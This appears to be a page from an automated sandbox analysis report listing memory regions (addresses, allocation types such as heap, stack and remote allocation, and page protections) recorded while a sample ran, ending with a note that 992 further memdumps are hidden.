281A0000
|
trusted library allocation
|
page read and write
|
||
|
274B8000
|
heap
|
page read and write
|
||
|
281D0000
|
trusted library allocation
|
page read and write
|
||
|
1D996904000
|
heap
|
page read and write
|
||
|
31D0000
|
heap
|
page read and write
|
||
|
28210000
|
trusted library allocation
|
page read and write
|
||
|
9860000
|
direct allocation
|
page read and write
|
||
|
27AE0000
|
trusted library allocation
|
page read and write
|
||
|
281D0000
|
trusted library allocation
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
26D46AE4000
|
heap
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
2754B000
|
trusted library allocation
|
page read and write
|
||
|
26D44FAC000
|
heap
|
page read and write
|
||
|
3398000
|
heap
|
page read and write
|
||
|
27A3E000
|
stack
|
page read and write
|
||
|
1D9962E0000
|
heap
|
page read and write
|
||
|
74A0000
|
trusted library allocation
|
page execute and read and write
|
||
|
251BA000
|
stack
|
page read and write
|
||
|
CA336FE000
|
stack
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
26D47105000
|
trusted library allocation
|
page read and write
|
||
|
1D996190000
|
heap
|
page read and write
|
||
|
C20000
|
heap
|
page read and write
|
||
|
1D9962C5000
|
heap
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
24F20000
|
direct allocation
|
page read and write
|
||
|
1D994190000
|
heap
|
page read and write
|
||
|
9950000
|
heap
|
page read and write
|
||
|
98C0000
|
direct allocation
|
page read and write
|
||
|
1D99693D000
|
heap
|
page read and write
|
||
|
84EE000
|
stack
|
page read and write
|
||
|
1D99693D000
|
heap
|
page read and write
|
||
|
26D474C3000
|
trusted library allocation
|
page read and write
|
||
|
28200000
|
trusted library allocation
|
page read and write
|
||
|
2500D000
|
stack
|
page read and write
|
||
|
B625000
|
direct allocation
|
page execute and read and write
|
||
|
1D9961D8000
|
heap
|
page read and write
|
||
|
F572AF6000
|
stack
|
page read and write
|
||
|
26D5F07A000
|
heap
|
page read and write
|
||
|
26D474D1000
|
trusted library allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
4C80000
|
trusted library allocation
|
page read and write
|
||
|
26D469C0000
|
trusted library allocation
|
page read and write
|
||
|
A40000
|
trusted library allocation
|
page read and write
|
||
|
46F0000
|
heap
|
page read and write
|
||
|
6D4A000
|
stack
|
page read and write
|
||
|
26D451E0000
|
heap
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
26D47F20000
|
trusted library allocation
|
page read and write
|
||
|
1D996266000
|
heap
|
page read and write
|
||
|
25140000
|
heap
|
page read and write
|
||
|
27443000
|
heap
|
page read and write
|
||
|
28120000
|
trusted library allocation
|
page read and write
|
||
|
7FF848E10000
|
trusted library allocation
|
page read and write
|
||
|
1D99641F000
|
heap
|
page read and write
|
||
|
27AE0000
|
trusted library allocation
|
page read and write
|
||
|
281E0000
|
trusted library allocation
|
page read and write
|
||
|
1D9961DB000
|
heap
|
page read and write
|
||
|
26D474E5000
|
trusted library allocation
|
page read and write
|
||
|
7330000
|
trusted library allocation
|
page read and write
|
||
|
282A0000
|
trusted library allocation
|
page read and write
|
||
|
1D9941C0000
|
heap
|
page read and write
|
||
|
1D99630A000
|
heap
|
page read and write
|
||
|
2DFD000
|
stack
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
3160000
|
heap
|
page read and write
|
||
|
1D9961F0000
|
heap
|
page read and write
|
||
|
7FF849080000
|
trusted library allocation
|
page read and write
|
||
|
7560000
|
trusted library allocation
|
page read and write
|
||
|
281F0000
|
trusted library allocation
|
page read and write
|
||
|
305D000
|
stack
|
page read and write
|
||
|
26D56C90000
|
trusted library allocation
|
page read and write
|
||
|
9D0000
|
heap
|
page read and write
|
||
|
85D0000
|
trusted library allocation
|
page read and write
|
||
|
1A9B1BB5000
|
heap
|
page read and write
|
||
|
5701000
|
trusted library allocation
|
page read and write
|
||
|
F5739CB000
|
stack
|
page read and write
|
||
|
7520000
|
trusted library allocation
|
page read and write
|
||
|
1D996932000
|
heap
|
page read and write
|
||
|
253C5000
|
trusted library allocation
|
page read and write
|
||
|
7FF848FB0000
|
trusted library allocation
|
page read and write
|
||
|
1D9961D0000
|
heap
|
page read and write
|
||
|
28290000
|
trusted library allocation
|
page read and write
|
||
|
F57287C000
|
stack
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
852C000
|
stack
|
page read and write
|
||
|
1D99619B000
|
heap
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
24BED000
|
stack
|
page read and write
|
||
|
458E000
|
stack
|
page read and write
|
||
|
9825000
|
direct allocation
|
page execute and read and write
|
||
|
1D99612F000
|
heap
|
page read and write
|
||
|
7FF849010000
|
trusted library allocation
|
page read and write
|
||
|
1D996A29000
|
heap
|
page read and write
|
||
|
9165000
|
remote allocation
|
page execute and read and write
|
||
|
26D44FEB000
|
heap
|
page read and write
|
||
|
7F940000
|
trusted library allocation
|
page execute and read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
1D99634A000
|
heap
|
page read and write
|
||
|
27482000
|
heap
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
1D9962ED000
|
heap
|
page read and write
|
||
|
7F990000
|
trusted library allocation
|
page execute and read and write
|
||
|
281C0000
|
trusted library allocation
|
page read and write
|
||
|
1D9961B3000
|
heap
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
BC3000
|
heap
|
page read and write
|
||
|
281E0000
|
trusted library allocation
|
page read and write
|
||
|
26D5F1E3000
|
heap
|
page read and write
|
||
|
1D996902000
|
heap
|
page read and write
|
||
|
26D4508A000
|
heap
|
page read and write
|
||
|
26D5F367000
|
heap
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
7FF849150000
|
trusted library allocation
|
page read and write
|
||
|
1D9962C5000
|
heap
|
page read and write
|
||
|
1D99613F000
|
heap
|
page read and write
|
||
|
A70000
|
trusted library allocation
|
page execute and read and write
|
||
|
27546000
|
trusted library allocation
|
page read and write
|
||
|
1D9962A6000
|
heap
|
page read and write
|
||
|
281A1000
|
trusted library allocation
|
page read and write
|
||
|
25391000
|
trusted library allocation
|
page read and write
|
||
|
7FF848FF2000
|
trusted library allocation
|
page read and write
|
||
|
1D9960F1000
|
heap
|
page read and write
|
||
|
7340000
|
trusted library allocation
|
page read and write
|
||
|
26D48539000
|
trusted library allocation
|
page read and write
|
||
|
1D99612D000
|
heap
|
page read and write
|
||
|
24F00000
|
direct allocation
|
page read and write
|
||
|
9900000
|
direct allocation
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
75BB000
|
stack
|
page read and write
|
||
|
2D88000
|
trusted library allocation
|
page read and write
|
||
|
1D9941CF000
|
heap
|
page read and write
|
||
|
27AED000
|
trusted library allocation
|
page read and write
|
||
|
B6A000
|
heap
|
page read and write
|
||
|
98D0000
|
direct allocation
|
page read and write
|
||
|
276BC000
|
stack
|
page read and write
|
||
|
1D99691A000
|
heap
|
page read and write
|
||
|
72CE000
|
heap
|
page read and write
|
||
|
31C0000
|
heap
|
page read and write
|
||
|
8660000
|
direct allocation
|
page read and write
|
||
|
7FF849040000
|
trusted library allocation
|
page read and write
|
||
|
1D99627B000
|
heap
|
page read and write
|
||
|
7FF8490A0000
|
trusted library allocation
|
page read and write
|
||
|
1D9965C3000
|
heap
|
page read and write
|
||
|
1D9964F1000
|
heap
|
page read and write
|
||
|
27449000
|
heap
|
page read and write
|
||
|
1D9962C5000
|
heap
|
page read and write
|
||
|
7350000
|
trusted library allocation
|
page read and write
|
||
|
1D994198000
|
heap
|
page read and write
|
||
|
2523E000
|
stack
|
page read and write
|
||
|
26D5EFE7000
|
heap
|
page read and write
|
||
|
1D9962BA000
|
heap
|
page read and write
|
||
|
1D9962F0000
|
heap
|
page read and write
|
||
|
26D5F301000
|
heap
|
page read and write
|
||
|
27510000
|
trusted library allocation
|
page read and write
|
||
|
1D9962C5000
|
heap
|
page read and write
|
||
|
1D9960F3000
|
heap
|
page read and write
|
||
|
281E0000
|
trusted library allocation
|
page read and write
|
||
|
2541B000
|
trusted library allocation
|
page read and write
|
||
|
4701000
|
trusted library allocation
|
page read and write
|
||
|
2B5D000
|
heap
|
page read and write
|
||
|
28200000
|
trusted library allocation
|
page read and write
|
||
|
281E0000
|
trusted library allocation
|
page read and write
|
||
|
26D48AB9000
|
trusted library allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
26D56CA1000
|
trusted library allocation
|
page read and write
|
||
|
7FF848FE0000
|
trusted library allocation
|
page execute and read and write
|
||
|
1D99691E000
|
heap
|
page read and write
|
||
|
F572A78000
|
stack
|
page read and write
|
||
|
8650000
|
direct allocation
|
page read and write
|
||
|
1D996105000
|
heap
|
page read and write
|
||
|
1A9B1750000
|
heap
|
page read and write
|
||
|
1D996111000
|
heap
|
page read and write
|
||
|
7FF849050000
|
trusted library allocation
|
page read and write
|
||
|
4857000
|
trusted library allocation
|
page read and write
|
||
|
1D99631E000
|
heap
|
page read and write
|
||
|
1D9943E0000
|
remote allocation
|
page read and write
|
||
|
1D996142000
|
heap
|
page read and write
|
||
|
34B0000
|
heap
|
page read and write
|
||
|
74B0000
|
trusted library allocation
|
page read and write
|
||
|
274B8000
|
heap
|
page read and write
|
||
|
281C0000
|
trusted library allocation
|
page read and write
|
||
|
253DD000
|
trusted library allocation
|
page read and write
|
||
|
6E0E000
|
stack
|
page read and write
|
||
|
BA8000
|
heap
|
page read and write
|
||
|
26D45170000
|
heap
|
page read and write
|
||
|
28270000
|
trusted library allocation
|
page read and write
|
||
|
744E000
|
stack
|
page read and write
|
||
|
7FF848ED0000
|
trusted library allocation
|
page execute and read and write
|
||
|
26D48AD0000
|
trusted library allocation
|
page read and write
|
||
|
281D0000
|
trusted library allocation
|
page read and write
|
||
|
24EF0000
|
trusted library allocation
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
1D996302000
|
heap
|
page read and write
|
||
|
82B0000
|
heap
|
page read and write
|
||
|
282B0000
|
trusted library allocation
|
page execute and read and write
|
||
|
7570000
|
trusted library allocation
|
page read and write
|
||
|
26D5EFDA000
|
heap
|
page read and write
|
||
|
C40000
|
heap
|
page readonly
|
||
|
7FF849000000
|
trusted library allocation
|
page execute and read and write
|
||
|
1D996105000
|
heap
|
page read and write
|
||
|
27561000
|
trusted library allocation
|
page read and write
|
||
|
46B0000
|
heap
|
page read and write
|
||
|
26D48BEF000
|
trusted library allocation
|
page read and write
|
||
|
26D48A46000
|
trusted library allocation
|
page read and write
|
||
|
2504E000
|
stack
|
page read and write
|
||
|
1D996222000
|
heap
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
1D99617F000
|
heap
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
26D5F5E0000
|
heap
|
page read and write
|
||
|
1D9961EE000
|
heap
|
page read and write
|
||
|
1D996268000
|
heap
|
page read and write
|
||
|
2756D000
|
trusted library allocation
|
page read and write
|
||
|
24CAC000
|
stack
|
page read and write
|
||
|
28200000
|
trusted library allocation
|
page read and write
|
||
|
27530000
|
heap
|
page execute and read and write
|
||
|
33AE000
|
unkown
|
page read and write
|
||
|
6C50000
|
direct allocation
|
page read and write
|
||
|
27566000
|
trusted library allocation
|
page read and write
|
||
|
24FBF000
|
stack
|
page read and write
|
||
|
7FF849170000
|
trusted library allocation
|
page read and write
|
||
|
8348000
|
heap
|
page read and write
|
||
|
1D9962E0000
|
heap
|
page read and write
|
||
|
282FE000
|
stack
|
page read and write
|
||
|
72C1000
|
heap
|
page read and write
|
||
|
28290000
|
trusted library allocation
|
page read and write
|
||
|
9850000
|
direct allocation
|
page read and write
|
||
|
281C0000
|
trusted library allocation
|
page read and write
|
||
|
85E0000
|
trusted library allocation
|
page execute and read and write
|
||
|
281D0000
|
trusted library allocation
|
page read and write
|
||
|
26D5F1B0000
|
heap
|
page execute and read and write
|
||
|
7FFD000
|
stack
|
page read and write
|
||
|
1D996296000
|
heap
|
page read and write
|
||
|
8610000
|
direct allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
AC25000
|
direct allocation
|
page execute and read and write
|
||
|
26D470FA000
|
trusted library allocation
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
26D46A30000
|
trusted library allocation
|
page read and write
|
||
|
281D0000
|
trusted library allocation
|
page read and write
|
||
|
1D996305000
|
heap
|
page read and write
|
||
|
BA8000
|
heap
|
page read and write
|
||
|
CA333FE000
|
stack
|
page read and write
|
||
|
24C6D000
|
stack
|
page read and write
|
||
|
46A5000
|
heap
|
page execute and read and write
|
||
|
26D48B6C000
|
trusted library allocation
|
page read and write
|
||
|
1D996399000
|
heap
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
2BF1000
|
heap
|
page read and write
|
||
|
A20000
|
trusted library allocation
|
page read and write
|
||
|
1D99693D000
|
heap
|
page read and write
|
||
|
F572D7E000
|
stack
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
26D46C70000
|
heap
|
page execute and read and write
|
||
|
1D9962A1000
|
heap
|
page read and write
|
||
|
1D996257000
|
heap
|
page read and write
|
||
|
280DE000
|
stack
|
page read and write
|
||
|
26D5F353000
|
heap
|
page read and write
|
||
|
7FF8490F0000
|
trusted library allocation
|
page read and write
|
||
|
1D9968FE000
|
heap
|
page read and write
|
||
|
358F000
|
unkown
|
page read and write
|
||
|
1D9962E0000
|
heap
|
page read and write
|
||
|
281C0000
|
trusted library allocation
|
page read and write
|
||
|
1D996120000
|
heap
|
page read and write
|
||
|
1D99612C000
|
heap
|
page read and write
|
||
|
7FF849160000
|
trusted library allocation
|
page read and write
|
||
|
2CE0000
|
trusted library allocation
|
page read and write
|
||
|
A3D000
|
trusted library allocation
|
page execute and read and write
|
||
|
6CB0000
|
direct allocation
|
page read and write
|
||
|
1D99642F000
|
heap
|
page read and write
|
||
|
26D5EFC0000
|
heap
|
page read and write
|
||
|
281E0000
|
trusted library allocation
|
page read and write
|
||
|
6CA0000
|
direct allocation
|
page read and write
|
||
|
59AE000
|
trusted library allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
1D996272000
|
heap
|
page read and write
|
||
|
333E000
|
stack
|
page read and write
|
||
|
1D99616F000
|
heap
|
page read and write
|
||
|
3390000
|
heap
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
26D5F130000
|
heap
|
page execute and read and write
|
||
|
1D99629D000
|
heap
|
page read and write
|
||
|
71E9000
|
heap
|
page read and write
|
||
|
1D99610A000
|
heap
|
page read and write
|
||
|
6E50000
|
heap
|
page read and write
|
||
|
3406000
|
heap
|
page read and write
|
||
|
1D9960FD000
|
heap
|
page read and write
|
||
|
27AE0000
|
trusted library allocation
|
page read and write
|
||
|
27510000
|
trusted library allocation
|
page read and write
|
||
|
1D9962BA000
|
heap
|
page read and write
|
||
|
26D47520000
|
trusted library allocation
|
page read and write
|
||
|
1D99626D000
|
heap
|
page read and write
|
||
|
6C4B000
|
stack
|
page read and write
|
||
|
9930000
|
direct allocation
|
page read and write
|
||
|
4B65000
|
remote allocation
|
page execute and read and write
|
||
|
4630000
|
heap
|
page execute and read and write
|
||
|
1D9961EE000
|
heap
|
page read and write
|
||
|
6ABE000
|
stack
|
page read and write
|
||
|
1D9962A1000
|
heap
|
page read and write
|
||
|
26D469F0000
|
heap
|
page readonly
|
||
|
1D99636E000
|
heap
|
page read and write
|
||
|
83C000
|
stack
|
page read and write
|
||
|
857E000
|
stack
|
page read and write
|
||
|
1D99613A000
|
heap
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
2EFD000
|
stack
|
page read and write
|
||
|
1D9962C5000
|
heap
|
page read and write
|
||
|
1D99693D000
|
heap
|
page read and write
|
||
|
7500000
|
trusted library allocation
|
page read and write
|
||
|
7FF848ECC000
|
trusted library allocation
|
page execute and read and write
|
||
|
26D5EFC2000
|
heap
|
page read and write
|
||
|
6C60000
|
direct allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
A5A000
|
trusted library allocation
|
page execute and read and write
|
||
|
26D45190000
|
heap
|
page read and write
|
||
|
26D48A3B000
|
trusted library allocation
|
page read and write
|
||
|
27540000
|
trusted library allocation
|
page read and write
|
||
|
7FF848E20000
|
trusted library allocation
|
page read and write
|
||
|
1D9962ED000
|
heap
|
page read and write
|
||
|
C55000
|
heap
|
page read and write
|
||
|
26D474BB000
|
trusted library allocation
|
page read and write
|
||
|
7FF849060000
|
trusted library allocation
|
page read and write
|
||
|
1D99630E000
|
heap
|
page read and write
|
||
|
1D9968F8000
|
heap
|
page read and write
|
||
|
9870000
|
direct allocation
|
page read and write
|
||
|
6B3E000
|
stack
|
page read and write
|
||
|
2D70000
|
heap
|
page readonly
|
||
|
5711000
|
trusted library allocation
|
page read and write
|
||
|
2DA0000
|
heap
|
page read and write
|
||
|
8630000
|
direct allocation
|
page read and write
|
||
|
24F10000
|
direct allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
1A9B1830000
|
heap
|
page read and write
|
||
|
1D9960FC000
|
heap
|
page read and write
|
||
|
81EC000
|
stack
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
1D996255000
|
heap
|
page read and write
|
||
|
1D99611E000
|
heap
|
page read and write
|
||
|
74E0000
|
trusted library allocation
|
page read and write
|
||
|
3660000
|
heap
|
page read and write
|
||
|
2542B000
|
trusted library allocation
|
page read and write
|
||
|
334F000
|
stack
|
page read and write
|
||
|
7FF849130000
|
trusted library allocation
|
page read and write
|
||
|
7FF8490E0000
|
trusted library allocation
|
page read and write
|
||
|
251F9000
|
stack
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
26D56F6D000
|
trusted library allocation
|
page read and write
|
||
|
2742D000
|
heap
|
page read and write
|
||
|
1D996121000
|
heap
|
page read and write
|
||
|
2D20000
|
trusted library allocation
|
page read and write
|
||
|
1D9961C4000
|
heap
|
page read and write
|
||
|
1A9B1850000
|
heap
|
page read and write
|
||
|
25170000
|
direct allocation
|
page read and write
|
||
|
1D996908000
|
heap
|
page read and write
|
||
|
26D474C5000
|
trusted library allocation
|
page read and write
|
||
|
748D000
|
stack
|
page read and write
|
||
|
27572000
|
trusted library allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
B3B000
|
heap
|
page read and write
|
||
|
250FE000
|
stack
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
26D47504000
|
trusted library allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
28490000
|
trusted library allocation
|
page read and write
|
||
|
7D65000
|
remote allocation
|
page execute and read and write
|
||
|
98F0000
|
direct allocation
|
page read and write
|
||
|
252C0000
|
heap
|
page read and write
|
||
|
25160000
|
direct allocation
|
page read and write
|
There are 992 hidden memdumps, click here to show them.